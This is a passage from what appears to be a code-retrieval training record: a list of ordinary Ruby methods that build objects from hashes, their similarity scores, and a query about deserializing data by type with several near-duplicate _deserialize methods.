"def build!(hash)\n hash.must(::Hash) { raise ArgumentError, \"#{self} expects Hash, but got #{hash.class}\" }\n\n if hash.size != variables.size\n keys1 = variables.keys\n keys2 = hash.keys.map(&:to_s)\n minus = (keys1 - keys2).map{|i| \"-#{i}\"}\n plus = (keys2 - keys1).map{|i| \"+#{i}\"}\n \n msg = \"#{self} expects #{variables.size}, but got #{hash.size} (%s)\" % (minus + plus).join(\",\")\n raise Typed::SizeMismatch, msg\n end\n\n # 'build' just ignore unknown fields, but 'build!' raise errors\n obj = new\n hash.each_pair do |k,v|\n obj[k] = v\n end\n return obj\n end",
"def initialize(hash)\n @cw_id = hash[\"cw_id\"]\n @cik = hash[\"cik\"]\n @name = hash[\"company_name\"]\n @irs_number = hash[\"irs_number\"]\n @sic_code = hash[\"sic_code\"]\n @industry = hash[\"industry_name\"]\n @sic_sector = hash[\"sic_sector\"]\n @sector_name = hash[\"sector_name\"]\n @source_type = hash[\"source_type\"]\n @address = hash[\"raw_address\"]\n @country = hash[\"country_code\"]\n @state = hash[\"subdiv_code\"]\n @top_parent_id = hash[\"top_parent_id\"]\n @num_parents = hash[\"num_parents\"]\n @num_children = hash[\"num_children\"]\n @max_year = hash[\"max_year\"]\n @min_year = hash[\"min_year\"]\n end",
"def from_hash(hash)\n instance = allocate\n instance.instance_variable_set :@attributes, hash.freeze\n instance\n end",
"def from_hash(hash)\n hash = DEFAULTS.merge(hash)\n hash['spdx_id'] = hash.delete('spdx-id')\n ordered_array = hash.values_at(*members.map(&:to_s))\n new(*ordered_array)\n end",
"def initialize(hash=nil)\n @table = HashWithIndifferentAccess.new\n\n for k,v in hash\n @table[k] = v\n new_ostruct_member(k)\n end if hash\n end",
"def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"def initialize(hash)\n @hash = hash\n @data = resourcify_data\n end",
"def from_hash hash\n @id= hash['id']\n\n @admin= hash['admin']\n @username= hash['username']\n @timezone= hash['timezone']\n @email_address= hash['email_address']\n\n @password = nil\n\n @created_at= DateTime.parse(hash['created_at'])\n @updated_at= DateTime.parse(hash['updated_at'])\n end",
"def hash_to_obj hash\n OpenStruct.new(hash) rescue raise ConfigError, \"Can't convert setup to object\"\n end",
"def initialize(hash)\n load_hash(hash)\n end",
"def from_hash( h)\n\t\th.each { |name,attributes|\n\t\t\tklass = Klass.new\n\t\t\tklass.from_hash( { name => attributes } )\n\t\t\tself.add_class( klass)\n\t\t}\n\n\t\t# this is an experiment in handling \"through\" attributes\n\t\t# i.e. enriching the model with the join classes\n\tend",
"def initialize(*args)\n super\n # hash = {}\n end",
"def build_object(resp)\n return resp unless resp.respond_to?(:merge)\n @build_object ||= final_object_class.new(resp.merge(additional_hash_to_serialize_after_response))\n end",
"def from_hash(hash)\n ordered_array = hash.values_at(*members.map(&:to_s))\n new(*ordered_array)\n end",
"def __convert hash #:nodoc:\n instance = self.class.new\n hash.each do |k, v|\n k = k.to_s if !k.respond_to?(:to_sym) && k.respond_to?(:to_s)\n instance.new_ostruct_member k\n if v.is_a?(Hash)\n v = v[\"type\"] == \"hash\" ? v[\"contents\"] : __convert(v)\n elsif v.is_a?(Array)\n v = v.map{|e| e.instance_of?(Hash) ? __convert(e) : e}\n end\n instance.send \"#{k}=\".to_sym, v\n end\n instance\n end",
"def initialize(hash)\n\t\t@id = hash['id']\n\t\t@first_name = hash['first_name']\n\t\t@last_name = hash['last_name']\n\t\t@mentor = hash['mentor']\n\tend",
"def initialize(hash={})\n @name = validate_name(hash[:name])\n @description = hash[:description]\n @snmp_opts = hash[:snmp_opts]\n\n save # Save a copy of self to Redis on creation\n end",
"def initialize\n @hash_dict = {}\n end",
"def initialize(hash=nil)\n @attributes = hash\n @attributes ||= {}\n end",
"def initialize(hash={})\n self.init_attrs_from_hash(hash)\n end",
"def from_hash(hash)\n apply_nested_hash(hash)\n end",
"def initialize(hash)\n # @id = hash[\"id\"]\n # @street_address = hash[\"street_address\"]\n # @city = hash[\"city\"]\n # @state = hash[\"state\"]\n # @zipcode = hash[\"zipcode\"]\n # @country = hash[\"country\"]\n\n #add in correct details\n end",
"def from_hash(hash)\n @data_object.user_acc_name = hash['user_acc_name']\n @data_object.user_affiliate = hash['user_affiliate']\n @user_over_13 = hash['user_over_13']\n\n contact.from_hash(hash)\n end",
"def initialize(hash)\n @name = hash[\"campaign\"] #decided to change it to \"name\" since this is the campaign class\n date_elements = hash[\"date\"].split(\"/\") #date is being passed in as a string, need this array to create the Date object in the next line\n @date = Date.new(date_elements[2].to_i + 2000, date_elements[0].to_i, date_elements[1].to_i) #added 2000 to year since the program was considering it as the year 15; this creates the date object\n @spend = hash[\"spend\"].to_f #use .to_f to make sure spend comes in as a float instead of a string\n @impressions = hash[\"impressions\"].to_i #need it as an integer for counting purposes later\n @actions = JSON.parse(hash[\"actions\"])#ensures that each action comes in as an array instead of a string\n @@all << self #shovels it into the all array\n end",
"def initialize(hash)\n hash.each do |k, v|\n self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\")\n end\n @id = hash[\"id\"]\n end",
"def initialize (hash)\n hash.each {|key, value|\n self.class.attr_accessor(key)\n self.send((\"#{key}=\"), value)\n }\n @@all << self\n end",
"def initialize(hash={})\n @data = Hash.new\n hash.each do |key, value|\n self[key] = value\n end\n end",
"def create_from_hash(hash, opts={})\n create_opts = update_or_create_options(hash, opts)\n create { |instance| instance.set(create_opts) }\n end",
"def initialize(hash={})\n # assign the attributes here (???)\n hash.each do |k, v| # name = id, name, etc.\n self.send(\"#{k}=\", v)\n # self.k = v # there's no '.k' method\n #binding.pry\n end\n end",
"def initialize(hash) #.new\n @name = hash[:name][0]\n @region = hash[:region]\n @population = hash[:population]\n @capital = hash[:capital]\n @flag_link = hash[:flag_link]\n @@all << self\n #binding.pry\n end",
"def initialize(hash = {})\n super(hash)\n\n @action = extract_value(hash, :action)\n @clientId = extract_value(hash, :clientId)\n @clientIdAlias = extract_value(hash, :clientIdAlias)\n @clientIdAliasUsed = extract_boolean_value(hash, :clientIdAliasUsed)\n @expiresAt = extract_integer_value(hash, :expiresAt)\n @subject = extract_value(hash, :subject)\n @scopes = extract_value(hash, :scopes)\n @existent = extract_boolean_value(hash, :existent)\n @usable = extract_boolean_value(hash, :usable)\n @sufficient = extract_boolean_value(hash, :sufficient)\n @refreshable = extract_boolean_value(hash, :refreshable)\n @responseContent = extract_value(hash, :responseContent)\n @properties = extract_array_value(hash, :scopes) do |element|\n Authlete::Model::Property.parse(element)\n end\n end",
"def initialize( hash )\n\t\t@object_classes = self.parse_objectclasses( hash['objectClasses'] || [] )\n\t\t@attribute_types = self.parse_attribute_types( hash['attributeTypes'] || [] )\n\t\t@ldap_syntaxes = self.parse_ldap_syntaxes( hash['ldapSyntaxes'] || [] )\n\t\t@matching_rules = self.parse_matching_rules( hash['matchingRules'] || [] )\n\t\t@matching_rule_uses = self.parse_matching_rule_uses( hash['matchingRuleUse'] || [] )\n\tend",
"def from_hash(hash)\n super(hash)\n verify\n end",
"def objects_from_serialized_hash(hash) # :nodoc:\n klass, attributes = Helpers.to_class_and_attributes(hash)\n klass.from_seedable_attributes(attributes)\n end",
"def initialize (hash)\n @name = hash [:name]\n @color = hash [:color]\n @robots = hash [:robots]\n @moon_count = hash [:moon_count]\n @cats = hash [:cats]\n #@solar_rotation = solar_rotation .....I dont really understand what a solar rotation is.... it's confusing.....\n @distance_from_the_sun = hash [:distance_from_the_sun]\n end",
"def initialize(hash = nil)\n @arguments = 0\n return if hash.nil?\n @name = hash['name']\n @arguments = hash['arguments']\n end",
"def _from_hash(hsh)\n hsh.each do |k, v|\n v = restore_hash(v)\n v = v.map { |iv| restore_hash(iv) } if v.is_a?(Array)\n send(:\"#{k}=\", v)\n end\n self\n end",
"def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"def initialize(hash={})\n self.attributes = hash\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def build(base, object, type = nil, selected_fields = nil)\n return object unless object.is_a?(Hash)\n if _loading?\n Factory.from_db(klass, object, nil, selected_fields)\n else\n Factory.build(klass, object)\n end\n end",
"def initialize(hash)\n super(hash)\n @size = hash[\"size\"]\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @cost, @salt, @digest = split_hash(self.to_s)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def instantiate hash, extra_attributes={}\n return hash unless hash.kind_of? Hash\n# init = hash.values_at(*@singulars).compact.first\n init = hash[@singular]\n inits = hash[@plural]\n if init\n new init.merge extra_attributes\n elsif inits\n inits.map {|each| new each.merge extra_attributes}\n else\n hash\n end\n end",
"def from_hash(values)\n @data_object.team_challenge = values['team_challenge']\n @data_object.team_level = values['team_level']\n @data_object.team_name = values['team_name']\n\n# @mgr_email = values['mgr_email']\n\n names = values['tm_name']\n\n TeamMember::MEMBERS_PER_TEAM.times do |i|\n if names[i].empty?\n @members[i].clear\n else\n @members[i].tm_name = names[i]\n @members[i].tm_grade = values['tm_grade'][i].to_i\n @members[i].tm_dob_mon = values['tm_dob_mon'][i]\n @members[i].tm_dob_day = values['tm_dob_day'][i]\n @members[i].tm_dob_year = values['tm_dob_year'][i]\n @members[i].tm_sex = values['tm_sex'][i]\n end\n end\n end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def initialize(raw_hash)\n raise Errors::InvalidHash, 'invalid hash' unless valid_hash?(raw_hash)\n\n replace(raw_hash)\n\n @cost, @salt, @digest = split_hash(to_s)\n end",
"def initialize( confighash={} )\n\t\tihash = internify_keys( untaint_values(confighash) )\n\t\tmergedhash = DEFAULTS.merge( ihash, &HashMergeFunction )\n\n\t\t@struct = ConfigStruct.new( mergedhash )\n\t\t@create_time = Time.now\n\t\t@name = nil\n\t\t@loader = nil\n\n\t\tsuper()\n\tend",
"def initialize(*args)\n @hash = HashWithIndifferentAccess.new(*args)\n end",
"def create(hash={})\n model = self.new(hash)\n model.save\n model\n end",
"def from_hash(hash:, klass:)\n validate_class_kit(klass)\n\n @hash_helper.indifferent!(hash)\n entity = klass.new\n attributes = @attribute_helper.get_attributes(klass)\n attributes.each do |attribute|\n key = attribute[:name]\n type = attribute[:type]\n\n #if the hash value is nil skip it\n next if hash[key].nil?\n\n value = if is_class_kit?(type)\n from_hash(hash: hash[key], klass: type)\n elsif type == Array\n hash[key].map do |array_element|\n if attribute[:collection_type].nil?\n array_element\n else\n if is_class_kit?(attribute[:collection_type])\n from_hash(hash: array_element, klass: attribute[:collection_type])\n else\n @value_helper.parse(type: attribute[:collection_type], value: array_element)\n end\n end\n end\n else\n hash[key]\n end\n\n entity.public_send(:\"#{key}=\", value)\n end\n\n entity\n end",
"def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = convert(v, k, converter) if converter\n instance.instance_variable_set(:\"@#{k}\", v)\n end\n\n instance\n end",
"def initialize(hash_that_represents_json)\n\t\t@data = hash_that_represents_json\n\tend",
"def hash_for_merging(hash)\n new_hash = { id: hash['message_id'].to_i,\n date: Time.at(hash['date'].to_i),\n from: User.new(hash['from'], @bot),\n chat: Chat.new(hash['chat'], @bot) }\n\n type = TYPES.find { |t| hash[t.to_s] }\n new_hash[type] = hash[type.to_s] # TODO: fail if type not found\n\n new_hash\n end",
"def initialize(hash)\n @header = Msg::Header.new(hash)\n @body = Msg::Body.new(content_is_json?, hash)\n end",
"def build_resource(hash = {})\n self.resource = resource_class.new(hash)\n end",
"def initialize()\n @hash = {}\n @values = []\n end",
"def build\n fail \"Please provide a value for key, currently: #{key}\" if key.nil?\n\n if in_key\n { in_key.to_sym => { key => data } }\n else\n process_data\n transform_to_hash\n end\n end",
"def initialize(build)\n @build = build\n @hash = {}\n @already_run = []\n end",
"def new_from_hash_marketplace(h)\n self.url = h\n h=h.split('/')\n h=h[h.size-2]\n self.original_id = h\n return self\n end",
"def initialize(hash, type, dump)\n self.hash = hash\n self.type = type.to_sym\n self.dump = dump\n end",
"def initialize(hash_data, opts: {})\n @hsh = hash_data\n @opts = opts\n\n @title = @hsh[:title]\n @body = @hsh[:body_hash]\n end",
"def initialize(hash)\n @color = hash[:color]\n @scent = hash[:scent]\n end",
"def initialize(hash = nil)\n hash.each { |key, value| self[key] = value } if !hash.nil? && hash.is_a?(Hash)\n end",
"def create(hash)\n NotImplementedError\n end",
"def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = instance.convert(v, k, converter) if converter\n instance.send(:\"#{k}=\", v)\n end\n\n instance\n end",
"def init_jaxb_json_hash(_o)\n super _o\n @id = String.from_json(_o['id']) unless _o['id'].nil?\n @version = String.from_json(_o['version']) unless _o['version'].nil?\n @description = String.from_json(_o['description']) unless _o['description'].nil?\n @url = String.from_json(_o['url']) unless _o['url'].nil?\n @name = String.from_json(_o['name']) unless _o['name'].nil?\n @organization = Org::Apache::Archiva::Metadata::Model::Organization.from_json(_o['organization']) unless _o['organization'].nil?\n @issueManagement = Org::Apache::Archiva::Metadata::Model::IssueManagement.from_json(_o['issueManagement']) unless _o['issueManagement'].nil?\n @scm = Org::Apache::Archiva::Metadata::Model::Scm.from_json(_o['scm']) unless _o['scm'].nil?\n @ciManagement = Org::Apache::Archiva::Metadata::Model::CiManagement.from_json(_o['ciManagement']) unless _o['ciManagement'].nil?\n if !_o['licenses'].nil?\n @licenses = Array.new\n _oa = _o['licenses']\n _oa.each { | _item | @licenses.push Org::Apache::Archiva::Metadata::Model::License.from_json(_item) }\n end\n if !_o['mailingLists'].nil?\n @mailingLists = Array.new\n _oa = _o['mailingLists']\n _oa.each { | _item | @mailingLists.push Org::Apache::Archiva::Metadata::Model::MailingList.from_json(_item) }\n end\n if !_o['dependencies'].nil?\n @dependencies = Array.new\n _oa = _o['dependencies']\n _oa.each { | _item | @dependencies.push Org::Apache::Archiva::Metadata::Model::Dependency.from_json(_item) }\n end\n @incomplete = Boolean.from_json(_o['incomplete']) unless _o['incomplete'].nil?\n end",
"def create_version_hash\n new_version = {}\n new_version['created'] = ''\n new_version['message'] = ''\n new_version['user'] = {}\n # user is #name, # address.\n new_version['user']['name'] = ''\n new_version['user']['address'] = ''\n new_version['state'] = {}\n new_version\n end",
"def create_from_hash hash\n values = values_from_hash hash\n unless obj = find(:first, :conditions => values)\n return nil if values[:id]\n obj = create!(values)\n raise ArgumentError, \"#{obj.errors.to_s}\" unless obj.errors.empty?\n end\n obj\n end",
"def initialize result_hash={}\n @result_hash = result_hash\n end",
"def create_hash(&block); end",
"def create_hash(&block); end",
"def initialize(attrs={})\n from_hash(attrs)\n end",
"def build_request_data(hash)\n {\n :attributes! => {\n addressinfo: { \"xsi:type\" => \"ns2:Map\" },\n },\n username: @username,\n password: @password,\n addressinfo: {\n item: [\n { key: 'name', value: hash[:name] },\n { key: 'address1', value: hash[:address1] },\n { key: 'address2', value: hash[:address2] },\n { key: 'city', value: hash[:city] },\n { key: 'state', value: hash[:state] },\n { key: 'zip', value: hash[:zip] },\n { key: 'fflno', value: hash[:fflno] },\n { key: 'fflexp', value: hash[:fflexp] }\n ]\n },\n testing: @testing\n }\n end",
"def init_jaxb_json_hash(_o)\n @groupId = String.from_json(_o['groupId']) unless _o['groupId'].nil?\n @artifactId = String.from_json(_o['artifactId']) unless _o['artifactId'].nil?\n @version = String.from_json(_o['version']) unless _o['version'].nil?\n @packaging = String.from_json(_o['packaging']) unless _o['packaging'].nil?\n @className = String.from_json(_o['className']) unless _o['className'].nil?\n if !_o['repositories'].nil?\n @repositories = Array.new\n _oa = _o['repositories']\n _oa.each { | _item | @repositories.push String.from_json(_item) }\n end\n @bundleVersion = String.from_json(_o['bundleVersion']) unless _o['bundleVersion'].nil?\n @bundleSymbolicName = String.from_json(_o['bundleSymbolicName']) unless _o['bundleSymbolicName'].nil?\n @bundleExportPackage = String.from_json(_o['bundleExportPackage']) unless _o['bundleExportPackage'].nil?\n @bundleExportService = String.from_json(_o['bundleExportService']) unless _o['bundleExportService'].nil?\n @classifier = String.from_json(_o['classifier']) unless _o['classifier'].nil?\n @includePomArtifacts = Boolean.from_json(_o['includePomArtifacts']) unless _o['includePomArtifacts'].nil?\n @queryTerms = String.from_json(_o['queryTerms']) unless _o['queryTerms'].nil?\n @bundleImportPackage = String.from_json(_o['bundleImportPackage']) unless _o['bundleImportPackage'].nil?\n @bundleRequireBundle = String.from_json(_o['bundleRequireBundle']) unless _o['bundleRequireBundle'].nil?\n @pageSize = Fixnum.from_json(_o['pageSize']) unless _o['pageSize'].nil?\n @selectedPage = Fixnum.from_json(_o['selectedPage']) unless _o['selectedPage'].nil?\n end",
"def initialize(order_hash)\n @id = order_hash['id']\n @number = order_hash['number']\n @special_instructions = order_hash['special_instructions']\n @total = order_hash['total']\n @total_quantity = order_hash['total_quantity']\n @created_at = order_hash['created_at']\n @updated_at = order_hash['updated_at']\n end",
"def from_db_hash *args\n from_hash *args\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end"
] |
[
"0.8011074",
"0.7470833",
"0.7457607",
"0.7256629",
"0.72455454",
"0.70060325",
"0.6973257",
"0.6955014",
"0.69459796",
"0.69398683",
"0.69363195",
"0.6917627",
"0.6872358",
"0.6796184",
"0.6783521",
"0.67575246",
"0.67575246",
"0.67560464",
"0.67514306",
"0.67136854",
"0.66667664",
"0.6623634",
"0.661206",
"0.66098964",
"0.66098964",
"0.6591922",
"0.65713006",
"0.6547411",
"0.6524743",
"0.6524143",
"0.6513636",
"0.650189",
"0.6498057",
"0.6485853",
"0.6483371",
"0.6475685",
"0.6459916",
"0.6454491",
"0.6440182",
"0.6434778",
"0.6401363",
"0.63977015",
"0.6396885",
"0.63910425",
"0.63720834",
"0.6363958",
"0.63597506",
"0.6313429",
"0.6295958",
"0.62923384",
"0.62915224",
"0.62704456",
"0.62703115",
"0.62622243",
"0.62515473",
"0.6249854",
"0.6242987",
"0.6242987",
"0.62426233",
"0.62408733",
"0.62407595",
"0.62321323",
"0.62298346",
"0.622897",
"0.622756",
"0.62245685",
"0.62217826",
"0.6218501",
"0.6210329",
"0.62091905",
"0.620342",
"0.6201614",
"0.6178616",
"0.6166234",
"0.61611027",
"0.6140086",
"0.6126761",
"0.61154264",
"0.61059844",
"0.60980254",
"0.60971874",
"0.6090533",
"0.6064119",
"0.6061236",
"0.6060324",
"0.60599816",
"0.60420287",
"0.6039776",
"0.603712",
"0.6033585",
"0.6030829",
"0.6023582",
"0.6023582",
"0.6016123",
"0.60155296",
"0.6014705",
"0.6008574",
"0.60031897",
"0.60024095",
"0.60024095",
"0.60024095"
] |
0.0
|
-1
|
Deserializes the data based on type
|
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /^(true|t|yes|y|1)$/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = Pier.const_get(type).new
temp_model.build_from_hash(value)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Telstra_Messaging.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = FattureInCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = IFClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = WineShipping.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
